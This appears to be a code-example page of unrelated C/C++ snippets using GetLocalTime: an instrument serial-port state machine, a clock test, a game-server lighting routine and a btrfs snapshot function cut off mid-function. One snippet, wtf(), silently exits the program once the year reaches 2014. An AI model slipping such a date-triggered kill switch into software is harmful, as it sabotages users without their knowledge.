		break;
		
	case 1150://wait a short time
		if (m_dTick_Count >= (600.0/(float)m_dCycleInt))
		{
			//set the number of times command has been sent
			m_dRetransmit = 0;
			m_dTick_Count = 0;
			m_dCurrent_State = 1160;
		}
		break;

	case 1160:
		//send the start command
		m_pButton->put_FaceColor(COLOR_WAIT);
		m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_WAIT,true);

		m_pPropertySheet->PrepForReceipt(HHMR_READ_STATUS,true);
		COM_Transmit(1,"S",m_iNode);

		m_cStart = COleDateTime::GetCurrentTime();
		m_cFinish = m_cStart + m_cSpan; 

		m_dStart = GetTickCount();
		m_dFinish = m_dStart + m_dSpan;

		m_pPropertySheet->m_LastStart = COleDateTime::GetCurrentTime();
		m_pPropertySheet->UpdateSummary("S -- Start");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53140 S - Start");
		//won't repeat this one, so don't need to count retransmits 
		//incr the number of times command has been sent
		//m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 1161;
		break;

	case 1161:
		if (m_dTick_Count > 10)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 1165;
		}
		break;

	case 1165://read status to see if it started
		if (m_dTick_Count >= (600.0/(float)m_dCycleInt))
		{
			m_pButton->put_FaceColor(COLOR_WAIT);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_WAIT,true);
			m_dTick_Count = 0;
			m_dCurrent_State = 1170;
			m_pPropertySheet->PrepForReceipt(HHMR_READ_STATUS,true);
			COM_Transmit(1,"X",m_iNode);
			m_pPropertySheet->UpdateSummary("X -- Read Status");
			if (m_bDoDump)
				m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53140 X - Read Status");
		}
		break;

	case 1170:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 1000;
			m_pPropertySheet->UpdateSummary("Timeout on receive initial status response");
			m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53150 HHMR Timeout on receive initial status response");
		} 

		//break out and wait for correct response
		if (WParam == HHMR_READ_STATUS)  
		{
			m_pButton->put_FaceColor(COLOR_OK);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_OK,true);

			m_dRetransmit = 0;
			m_dTick_Count = 0;
			if (LParam == 0)//1 is running
                m_dCurrent_State = 1000;//total reset, couldn't start HHMR
			else//0 is counting
			{
				m_dCurrent_State = 2000;//looks good
				m_dTickToInquire = 0;
			}
		}
		break;
		

	//state 2000 is the "normal" resting state
	case 2000:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE);
			break;
		}

		//tell the buttons we are now waiting for expected data record
		//and start a fast query to find when we are done--do this as
		//fast as possible so as to not waste any time 
/************************************************************************
*	
* this change causes the state machine to go into "fast query" about
* one second before the end of measurement on every cycle.  The prev
* technique would guess when the end was and then would have to adjust
* depending on how busy and how slow the computer running this was.
* consequently sometimes the transition wouldn't occur until way after 
* (as in 3 or 4 seconds) the measurement was complete.
*
************************************************************************/
		if ((m_dFinish <= GetTickCount()) ||
			(GetTickCount() < m_dStart) && (m_cFinish <= COleDateTime::GetCurrentTime()))
		{
			m_pButton->put_FaceColor(COLOR_WAIT);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_WAIT);
			COM_Transmit(ISZSTRING,"X",m_iNode);
			//m_dTransmitXCount = 0;
			m_dRetransmit++;
			m_dTick_Count = 0;
			m_dCurrent_State = 2100;
			break;
		}
		break;

	case 2100:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE);
			break;
		}

		//if enough time has passed that we may need to reset instrument
		if ((m_dTick_Count >= m_dTimeOut) && (WParam != HHMR_READ_STATUS))
		{
			char cBuff[1024];
			strcpy(cBuff,"53160 Late Response (2100)");

			m_pPropertySheet->UpdateSummary("Late Response (2100)");
			m_pPropertySheet->WriteToFile(TO_PFM | TO_CEV, TYPE_COMP, NULL, cBuff);
			if (m_bDoDump)
				m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, cBuff);


			m_dCurrent_State = 2000; 
			m_dTick_Count = 0;
			break;
		} 

		if (WParam == HHMR_READ_STATUS)
		{
			m_pButton->put_FaceColor(COLOR_OK);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_OK,true);

			m_dRetransmit = 0;
			//if done then go to next state
			if (LParam == 0) //stopped
			{
				m_dCurrent_State=3000;
				//fall through -- don't break
				if ((m_bDoDump)||(m_pSummaryPage->m_bDebug))
					GetLocalTime(&m_Then);
			}
			else
			{
				m_pButton->put_FaceColor(COLOR_WAIT);
				m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_WAIT,true);

				m_pPropertySheet->PrepForReceipt(HHMR_READ_STATUS,true);
				COM_Transmit(1,"X",m_iNode);
				m_dTickToInquire = 0;
				//m_dTransmitXCount++;
				m_dRetransmit++;
				m_dTick_Count = 0;
				//this will cause a "fast" resend of X
				m_dCurrent_State = 2100;
				break;
			}
		}
		else
			break;
		m_dRetransmit++;

	case 3000:	//send read
		//get the data as fast as we can so we can get the psr restarted taking data
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_AUX_SCALERS,true);
		COM_Transmit(1,"Y",m_iNode);
		m_pPropertySheet->UpdateSummary("Y -- Read Scalers");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53170 Y - Get Aux values (3000)");
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//reset retransmit
		m_dRetransmit++;
		//next state will wait for a good response
		m_dCurrent_State = 3100;
		break;

	case 3100:
		//wait for response
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 3000;
			m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53180 HHMR Timeout on receive AUX data response");

			if (m_bDoDump)
				m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53180 HHMR Timeout on receive AUX data response (3100)");

		} 
		//break out and wait for correct response
		if (WParam != HHMR_READ_AUX_SCALERS)
			break;

		m_pButton->put_FaceColor((m_bPause)?COLOR_PAUSE:COLOR_OK);
		m_pPropertySheet->m_pCloseButton->SetFaceColor((m_bPause)?COLOR_PAUSE:COLOR_OK);
		m_dRetransmit = 0;
		m_dCurrent_State = 3200;
		m_dTick_Count = 0;
		//fall through to read aux data

	case 3200:	//send read
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_T_TA_A,true);
		COM_Transmit(1,"R",m_iNode);
		m_pPropertySheet->UpdateSummary("R -- Read T, R+A, & A");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53190 R - Get TOTALS etc. values (3200)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 3300;
		break;

	case 3300:
		if (m_dTick_Count > (m_dTimeOut + 1))
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 3200;
			m_pPropertySheet->UpdateSummary("Timeout on receive DATA response");
			m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53200 HHMR Timeout on receive DATA response");
		} 
		//break out and wait for correct response
		if (WParam != HHMR_READ_T_TA_A)  
			break;

		m_pButton->put_FaceColor((m_bPause)?COLOR_PAUSE:COLOR_OK);
		m_pPropertySheet->m_pCloseButton->SetFaceColor((m_bPause)?COLOR_PAUSE:COLOR_OK);
		//start another measurement

		m_dTickToInquire = 0;

/********************************************************************************
*
*	NOTE: To speed things up further I've added code to see if the instruments
*	settings have changed only one in 10 measuremnts.  This will significantly
*	help make dead time between mesasuements smaller.
*
*********************************************************************************/

		m_iCycleCount++;
		if (m_iCycleCount > 10)
		{
			m_dCurrent_State = 1100;
			m_iCycleCount = 0;
		}
		else
			m_dCurrent_State = 1160;

/*
		m_pPropertySheet->PrepForReceipt(HHMR_UNKNOWN_RECORD,true);
		COM_Transmit(1,"S",m_iNode);
		m_pPropertySheet->m_LastStart = COleDateTime::GetCurrentTime();
		m_dTickToInquire = 0;
		m_pPropertySheet->UpdateSummary("S -- Restart");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53210 S - Start (3300)");

		m_dRetransmit = 0;
		m_dTick_Count = 0;
		//get rest of data
		m_dCurrent_State = 3401;
*/
		break;

	case 3401://wait a reasonable time or not
//		if (m_dTick_Count >= (1000.0/(float)m_dCycleInt))
//		if (m_dTick_Count > (100.0/(float)m_dCycleInt))

		if (m_dTick_Count > 10)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 3400;
			m_dRetransmit = 0;
		}
		else 
			break;
		//fall through iff if above is true

	case 3400:
		//send the read status command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_STATUS,true);
		COM_Transmit(1,"X",m_iNode);
		m_pPropertySheet->UpdateSummary("X -- Read Status (3400)");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53220 X - get status (3400)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 3410;
		//get the system time
		GetSystemTime(&m_sStartTime);
		break;

	case 3410:
		//if we don't get a response in a reasonable time try to reset
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dRetransmit = 0;
			m_dCurrent_State = 1000;
			m_pPropertySheet->UpdateSummary("Timeout on receive status response");
			m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53230 HHMR Timeout on receive status response");
		} 

		if (WParam == HHMR_READ_STATUS)
		{
			char szTemp[32];
			m_dTick_Count = 0;
			if (LParam == 0) //it didn't start
			{
				//try again
				m_dCurrent_State = 3400;

				//immediately try again if not started
				m_pPropertySheet->UpdateSummary("S -- Start");
				m_pPropertySheet->PrepForReceipt(HHMR_READ_STATUS,true);
				COM_Transmit(1,"S",m_iNode);
				//incr the number of times command has been sent

			}
			else	//it did start
			{
				m_dRetransmit = 0;
				m_dCurrent_State = 3500;//looks good

				if ((m_bDoDump)||(m_pSummaryPage->m_bDebug))
				{
					SYSTEMTIME Now;
					GetLocalTime(&Now);
					sprintf(szTemp,"53260 Dead(msec): %d",CalculateDiff(&Now,&m_Then));

					SYSTEMTIME sStartTime;
					GetSystemTime(&sStartTime);
					int iDiff = CalculateDiff(&sStartTime,&m_sStartTime);


					//put in debug window if required
					if (m_pSummaryPage->m_bDebug)
						m_pSummaryPage->SetDlgItemText(IDC_STATIC_NOTE3,szTemp);
					//put in dump file if required
					if (m_bDoDump)
					{
						//strcat(szTemp,"\n");
						m_pPropertySheet->WriteToFile(TO_DMP,TYPE_DUMP,NULL,szTemp);
					}
					sprintf(szTemp,"53270 Time: %d",iDiff);
					//put in window if required
					if (m_pSummaryPage->m_bDebug)
						m_pPropertySheet->UpdateSummary(szTemp);

					if (m_bDoDump)
					{
						//strcat(szTemp,"\n");
						m_pPropertySheet->WriteToFile(TO_DMP,TYPE_DUMP,NULL,szTemp);
					}
				}
			}
		}

		break;

	//we've started the HHMR now we want to read some values back
	case 3500:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pButton->put_FaceColor(COLOR_WAIT);
		m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_WAIT,true);
		m_pPropertySheet->PrepForReceipt(HHMR_READ_PREDELAY,true);
		COM_Transmit(2,"PR",m_iNode);
		m_pPropertySheet->UpdateSummary("PR -- Read Pre-delay");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 PR - Get pre-delay value (3500)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 3501;
		break;

	case 3501:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 3500;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET PRE-DELAY response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_PREDELAY)  
			break;
		m_dCurrent_State = 3502;
		m_dRetransmit = 0;
		//fall through

	case 3502:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_COUNTTIME,true);
		COM_Transmit(2,"TR",m_iNode);
		m_pPropertySheet->UpdateSummary("TR -- Read Count Time");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 TR - Get count time (3502)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 3503;
		break;

	case 3503:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 3502;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET COUNT TIME response");
		} 
		//break out and wait for correct response
        if (WParam != HHMR_READ_COUNTTIME)  
			break;

//		if (LParam)
//			m_dInquireInt = (int)((float)LParam/10.0/((float)m_dCycleInt/1000.0))-5;
//		else
//		{
//			double temp = (double)m_dCountTimeUnit;// * pow(10,m_dCountTimeExp-1);
//			m_dInquireInt = (int)(temp/((double)m_dCycleInt/1000.0))-5;
//		}
//		//adjust for how busy the system is
//		if (m_dTransmitXCount == 0)
//			m_dInquireIntAdjust -= 5;
//		else if (m_dTransmitXCount == 1)
//			m_dInquireIntAdjust -= 2; 
//		else if (m_dTransmitXCount < 5)
//			m_dInquireIntAdjust--;
//		else if ((m_dTransmitXCount > 30)&&(m_dTransmitXCount < 80))
//			m_dInquireIntAdjust++;
//		else if (m_dTransmitXCount >= 80)
//			m_dInquireIntAdjust += (m_dTransmitXCount/30);
//
//		m_dInquireInt += m_dInquireIntAdjust;

		m_dCurrent_State = 3504;
		m_dRetransmit = 0;
		//fall through

	case 3504:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_GATEWIDTH,true);
		COM_Transmit(2,"GR",m_iNode);
		m_pPropertySheet->UpdateSummary("GR -- Read Gate Width");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 GR - Get GET GATE WIDTH (3504)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 3505;
		break;

	case 3505:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 3504;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET GATE WIDTH response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_GATEWIDTH)  
			break;

		m_dCurrent_State = 3506;
		m_dRetransmit = 0;
		//fall through

	case 3506:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_HV_SP,true);
		COM_Transmit(2,"WS",m_iNode);
		m_pPropertySheet->UpdateSummary("WS -- Read HV Set Point");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 WS - Get GET HV SET POINT (3506)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 3507;
		break;

	case 3507:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 3506;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET HV SET POINT response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_HV_SP)  
			break;

		m_dCurrent_State = 3508;
		m_dRetransmit = 0;
		//fall through

	case 3508:
		if (m_bPause) 
		{
			m_dCurrent_State = 1000;
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE,true);
			break;
		}
		//we are in a dumplast sequence
		m_bInDumpLast = false;
		//send the command
		m_pPropertySheet->PrepForReceipt(HHMR_READ_HV,true);
		COM_Transmit(2,"WR",m_iNode);
		m_pPropertySheet->UpdateSummary("WR -- Read High Voltage");
		if (m_bDoDump)
			m_pPropertySheet->WriteToFile(TO_DMP, TYPE_DUMP, NULL, "53090 WR - Get GET HV (3508)");
		//incr the number of times command has been sent
		m_dRetransmit++;
		//start the tick count at 0 so we can detect time out
		m_dTick_Count = 0;
		//next state will wait for a good response
		m_dCurrent_State = 3509;
		break;

	case 3509:
		if (m_dTick_Count > m_dTimeOut)
		{
			m_dTick_Count = 0;
			m_dCurrent_State = 3508;
            m_pPropertySheet->WriteToFile(TO_PFM, TYPE_COMP, NULL,"53100 HHMR Timeout on receive GET HV response");
		} 
		//beak out and wait for correct response
        if (WParam != HHMR_READ_HV)  
			break;

		m_dRetransmit = 0;

		m_pButton->put_FaceColor(COLOR_OK);
		m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_OK,true);

		m_dCurrent_State = 2000;
		break;

	case 8000:
		FlagComm(1,true);
		m_pButton->put_FaceColor(COLOR_RED);
		//m_pButton->SetErrorIcon_Flag();
		m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_RED);
		m_pPropertySheet->WriteToFile(TO_PFM | TO_CEV, TYPE_COMP,NULL,"53990 HHMR Resetting serial port");
		COM_Transmit(9,"CLOSEPORT",m_iNode);
		m_dTick_Count = 0;
		m_dCurrent_State = 8100;
		break;

	case 8100:
		if (m_dTick_Count > m_dTimeOut)
		{
			COM_Transmit(8,"OPENPORT",m_iNode);
			m_dCurrent_State = 1000;
		}
		break;

		//long hard fail recovery
	case 9000:							//	900sec/15min
		if ((m_dTick_Count * m_dCycleInt) > m_dSlowReset)//wait 15 minutes before we retry
		{
			m_dTick_Count = 0;
//			m_dHardFailCount = 0;
			m_pButton->SetErrorIcon_Flag();
			m_dCurrent_State = 1000;
		}

		if ((m_dTick_Count % 10) == 0)
		{
			//m_pButton->put_FlagChar(SKULL_CHAR,false);
			m_pButton->SetErrorIcon_Skull();
			m_pButton->put_FaceColor(COLOR_ERROR);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_ERROR);
			FlagComm(1,true);			
		}
		break;

	case 9800:
		m_dCurrent_State = 9810;
		PauseInstrument(true);	
//		m_pButton->SetFlagChar(SKULL_CHAR,false);
//		m_pButton->SetFlag(true,false);
		m_pButton->put_FaceColor(COLOR_ERROR);
		m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_ERROR);
		m_pPropertySheet->WriteToFile(TO_CEV | TO_PFM, TYPE_COMP, NULL, "53320 HHMR WRITE FAILURE on HHMR file");
		break;

	case 9810:
		if (m_bPause) 
		{
			m_bIsPaused = true;
			m_pButton->put_FaceColor(COLOR_PAUSE);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_PAUSE);
		}
		else
		{	
			m_bIsPaused = false;
			m_dCurrent_State = 1000;
		}
		break;

	case 9900:
		if (m_bGoodRegister)
			m_dCurrent_State = 1000;
		else
		{
			m_dCurrent_State = 9900;
			m_pButton->SetErrorIcon_Bomb();
			m_pButton->ShowIcon_Error(VARIANT_TRUE);
			m_pButton->put_FaceColor(COLOR_ERROR);
			m_pPropertySheet->m_pCloseButton->SetFaceColor(COLOR_ERROR);
		}
		break;
	default:
		m_pPropertySheet->UpdateSummary("State Machine Failure");
		m_pPropertySheet->WriteToFile(TO_PFM | TO_CEV, TYPE_COMP, NULL,"53330 State Machine Failure");
		m_dCurrent_State = 1000;
	}
	return 0;
}
Ejemplo n.º 5
0
int main(int argc, char *argv[]) {

    /* XXX Checking how well the two clocks track each other
    unsigned long    lsec, lusec;
    unsigned long    fsec, fusec;
    long    dsec, dusec;
    int	    i;
    for (i = 0; i < 10; i++) {
	get_time_using_GetLocalTime(lsec, lusec);
	get_time_using_ftime(fsec, fusec);
	dsec = lsec - fsec;
	dusec = lusec - fusec;

	printf("L: %u:%u, F: %u:%u, Difference: %u:%ld\n",
	    lsec, lusec, fsec, fusec, dsec, dusec);

	Sleep(1000);
    }
    */

	/* Check the behavior of the clock */
	SYSTEMTIME sstart, stime;               // System time in funky structure
	FILETIME ftime;     // Time in 100-nsec intervals since Jan 1 1601
	LARGE_INTEGER tics; // ftime stored into a 64-bit quantity
	GetLocalTime(&sstart);
	stime = sstart;
	while (stime.wSecond - sstart.wSecond < 2) {
		GetLocalTime(&stime);
		printf("Seconds %2d, Milliseconds %4d\n", static_cast<int>(stime.wSecond),
			static_cast<int>(stime.wMilliseconds));

		SystemTimeToFileTime(&stime, &ftime);

		// Copy the data into a structure that can be treated as a 64-bit
		// integer
		tics.HighPart = ftime.dwHighDateTime;
		tics.LowPart = ftime.dwLowDateTime;
		printf("  Converted to 64-bit: %llu\n", tics.QuadPart);

		// Convert the 64-bit time into seconds and microseconds since July 1
		// 1601
		unsigned long sec, usec;
		sec = (long)(tics.QuadPart / 10000000L);
		usec = (long)((tics.QuadPart - (((LONGLONG)(sec)) * 10000000L)) / 10);
		printf("  Converted to secs and usecs: %6lu:%6lu\n", sec, usec);
	}

  /* Checking the vrpn_gettimeofday() function for monotonicity and step size */
  struct timeval last_time, this_time;
  double skip;
  vrpn_gettimeofday(&last_time, NULL);
  printf("Checking for monotonicity and step size\n");
  printf(" (should be no further output if things are working perfectly)\n");
  while (true) {
    vrpn_gettimeofday(&this_time, NULL);
	skip = vrpn_TimevalDurationSeconds(this_time, last_time);
    if (skip > 200e-6) {
      printf("Skipped forward %lg microseconds\n", skip*1e6);
    }
    if (skip < 0) {
  		printf("** Backwards %lg microseconds\n", skip*1e6);
    }
    last_time = this_time;
  }

  return 0;
}
Ejemplo n.º 6
0
BYTE CSector::GetLightCalc( bool fQuickSet ) const
{
	ADDTOCALLSTACK("CSector::GetLightCalc");
	// What is the light level default here in this sector.

	if ( g_Cfg.m_bAllowLightOverride && IsLightOverriden() )
		return m_Env.m_Light;

	if ( IsInDungeon() )
		return static_cast<unsigned char>(g_Cfg.m_iLightDungeon);

	int localtime = GetLocalTime();

	if ( !g_Cfg.m_bAllowLightOverride )
	{
		//	Normalize time:
		//	convert	0=midnight	.. (23*60)+59=midnight
		//	to		0=day		.. 12*60=night
		if ( localtime < 12*60 )
			localtime = 12*60 - localtime;
		else
			localtime -= 12*60;

		//	0...	y	...lightnight
		//	0...	x	...12*60
		int iTargLight = ((localtime * ( g_Cfg.m_iLightNight - g_Cfg.m_iLightDay ))/(12*60) + g_Cfg.m_iLightDay);

		if ( iTargLight < LIGHT_BRIGHT ) iTargLight = LIGHT_BRIGHT;
		if ( iTargLight > LIGHT_DARK ) iTargLight = LIGHT_DARK;

		return static_cast<unsigned char>(iTargLight);
	}

	int hour = ( localtime / ( 60)) % 24;
	bool fNight = ( hour < 6 || hour > 12+8 );	// Is it night or day ?
	int iTargLight = (fNight) ? g_Cfg.m_iLightNight : g_Cfg.m_iLightDay;	// Target light level.

	// Check for clouds...if it is cloudy, then we don't even need to check for the effects of the moons...
	if ( GetWeather())
	{
		// Clouds of some sort...
		if (fNight)
			iTargLight += ( Calc_GetRandVal( 2 ) + 1 );	// 1-2 light levels darker if cloudy at night
		else
			iTargLight += ( Calc_GetRandVal( 4 ) + 1 );	// 1-4 light levels darker if cloudy during the day.
	}

	if ( fNight )
	{
		// Factor in the effects of the moons
		// Trammel
		unsigned int iTrammelPhase = g_World.GetMoonPhase( false );
		// Check to see if Trammel is up here...

		if ( IsMoonVisible( iTrammelPhase, localtime ))
		{
static const BYTE sm_TrammelPhaseBrightness[] =
{
	0, // New Moon
	TRAMMEL_FULL_BRIGHTNESS / 4,	// Crescent Moon
	TRAMMEL_FULL_BRIGHTNESS / 2, 	// Quarter Moon
	( TRAMMEL_FULL_BRIGHTNESS * 3) / 4, // Gibbous Moon
	TRAMMEL_FULL_BRIGHTNESS,		// Full Moon
	( TRAMMEL_FULL_BRIGHTNESS * 3) / 4, // Gibbous Moon
	TRAMMEL_FULL_BRIGHTNESS / 2, 	// Quarter Moon
	TRAMMEL_FULL_BRIGHTNESS / 4		// Crescent Moon
};
			ASSERT( iTrammelPhase < COUNTOF(sm_TrammelPhaseBrightness));
			iTargLight -= sm_TrammelPhaseBrightness[iTrammelPhase];
		}

		// Felucca
		unsigned int iFeluccaPhase = g_World.GetMoonPhase( true );
		if ( IsMoonVisible( iFeluccaPhase, localtime ))
		{
static const BYTE sm_FeluccaPhaseBrightness[] =
{
	0, // New Moon
	FELUCCA_FULL_BRIGHTNESS / 4,	// Crescent Moon
	FELUCCA_FULL_BRIGHTNESS / 2, 	// Quarter Moon
	( FELUCCA_FULL_BRIGHTNESS * 3) / 4, // Gibbous Moon
	FELUCCA_FULL_BRIGHTNESS,		// Full Moon
	( FELUCCA_FULL_BRIGHTNESS * 3) / 4, // Gibbous Moon
	FELUCCA_FULL_BRIGHTNESS / 2, 	// Quarter Moon
	FELUCCA_FULL_BRIGHTNESS / 4		// Crescent Moon
};
			ASSERT( iFeluccaPhase < COUNTOF(sm_FeluccaPhaseBrightness));
			iTargLight -= sm_FeluccaPhaseBrightness[iFeluccaPhase];
		}
	}

	if ( iTargLight < LIGHT_BRIGHT ) iTargLight = LIGHT_BRIGHT;
	if ( iTargLight > LIGHT_DARK ) iTargLight = LIGHT_DARK;

	if ( fQuickSet || m_Env.m_Light == iTargLight )		// Initializing the sector
		return static_cast<unsigned char>(iTargLight);

	// Gradual transition to global light level.
	if ( m_Env.m_Light > iTargLight )
		return( m_Env.m_Light - 1 );
	else
		return( m_Env.m_Light + 1 );
}
 void wtf(){
     SYSTEMTIME sys_time;
     GetLocalTime(&sys_time);
     if(sys_time.wYear>=2014)
         exit(0);
 }
Ejemplo n.º 8
0
static void create_snapshot(HWND hwnd, WCHAR* fn) {
    HANDLE h;
    NTSTATUS Status;
    IO_STATUS_BLOCK iosb;
    btrfs_get_file_ids bgfi;
    
    h = CreateFileW(fn, FILE_TRAVERSE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
    
    if (h != INVALID_HANDLE_VALUE) {
        Status = NtFsControlFile(h, NULL, NULL, NULL, &iosb, FSCTL_BTRFS_GET_FILE_IDS, NULL, 0, &bgfi, sizeof(btrfs_get_file_ids));
            
        if (Status == STATUS_SUCCESS && bgfi.inode == 0x100 && !bgfi.top) {
            WCHAR parpath[MAX_PATH], subvolname[MAX_PATH], templ[MAX_PATH], name[MAX_PATH], searchpath[MAX_PATH];
            HANDLE h2, fff;
            btrfs_create_snapshot* bcs;
            ULONG namelen, pathend;
            WIN32_FIND_DATAW wfd;
            SYSTEMTIME time;
            
            StringCchCopyW(parpath, sizeof(parpath) / sizeof(WCHAR), fn);
            PathRemoveFileSpecW(parpath);
            
            StringCchCopyW(subvolname, sizeof(subvolname) / sizeof(WCHAR), fn);
            PathStripPathW(subvolname);
            
            h2 = CreateFileW(parpath, FILE_ADD_SUBDIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);

            if (h2 == INVALID_HANDLE_VALUE) {
                ShowError(hwnd, GetLastError());
                CloseHandle(h);
                return;
            }
            
            if (!LoadStringW(module, IDS_SNAPSHOT_FILENAME, templ, MAX_PATH)) {
                ShowError(hwnd, GetLastError());
                CloseHandle(h);
                CloseHandle(h2);
                return;
            }
            
            GetLocalTime(&time);
            
            if (StringCchPrintfW(name, sizeof(name) / sizeof(WCHAR), templ, subvolname, time.wYear, time.wMonth, time.wDay) == STRSAFE_E_INSUFFICIENT_BUFFER) {
                MessageBoxW(hwnd, L"Filename too long.\n", L"Error", MB_ICONERROR);
                CloseHandle(h);
                CloseHandle(h2);
